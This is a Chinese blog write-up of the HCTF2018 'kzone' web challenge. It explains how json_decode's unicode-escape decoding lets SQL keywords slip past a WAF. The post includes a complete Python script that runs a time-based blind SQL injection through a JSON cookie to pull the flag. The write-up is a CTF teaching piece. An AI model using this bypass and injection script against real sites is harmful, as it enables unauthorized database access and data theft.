jsondecode解编码绕过sqlWAF

hctf2018的一道web题目:kzone。打开后是一个qq空间钓鱼网站,打开js跳转到qq zone官网。
禁用浏览器解析javascript:

搜一下目录之后发现www.zip,下载后得到源码。
审计一波后台登陆
等均为发现可以利用的点。最后决定还是从2018.php入手。


在第二行的位置引入了common.php,继续跟踪。

在commen.php中又引入了其他的文件,最终定位在member.php。


而且在member.php中并不是功能函数,那么也就是说在包含进该php文件后是会直接执行的,而且直接将传入的json数据直接带进了sql查询语句。本来到这剧情应该时一切顺利。直接开撸就可以了,但是在构造sleep盲注之后却发现没有任何反应。
无奈之下又去审计前面的代码。发现在safe.php中对传入的get,post,cookie进行了waf过滤。safe.php在member.php之前被加载,所以也被先执行。而且member.php第一行对IN_CRONLITE进行了判断,即不能直接访问member.php,只能从上层引入。

而且这个waf可以说拦截的非常严格了,盲注用到的sleep,benchmark均被过滤。然后到这就歇菜了。

最终还是看了大佬写的wiriteup:HCTF2018-WEB-详细Write up

里面提到了jsondecode可以解编码,那么我们对关键字继续宁unicode编码之后传入,这样就直接绕过waf了。
具体jsondecode解编码见前辈的文章:浅谈json参数解析对waf绕过的影响

附文中脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
import requests
import string


url = 'http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+'{}[email protected]#$*&_,'


def check(payload):
cookie={
'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1',
'islogin':'1',
'login_data':payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=''
for i in range(1,33):
for j in str1:
#payload='{"admin_user":"admin\'and/**/\\u0069f(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003Ddatabase()/**/limit/**/0,1),%d,1)\\u003D\'%s\',\\u0073leep(3),0)/**/and/**/\'1","admin_pass":65}'%(i,j)
payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))
#print('[+]'+payload)
if check(payload):
result += j
break
print result

两外也有大佬编写了tamper,直接掏出了sqlmap也是非常的方便:用sqlmap解题2018HCTF-Kzone

本文标题:jsondecode解编码绕过sqlWAF

文章作者:boogle

发布时间:2018年11月12日 - 15:43

最后更新:2019年03月07日 - 11:36

原始链接:https://zhengbao.wang/jsondecode解编码绕过sqlWAF/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗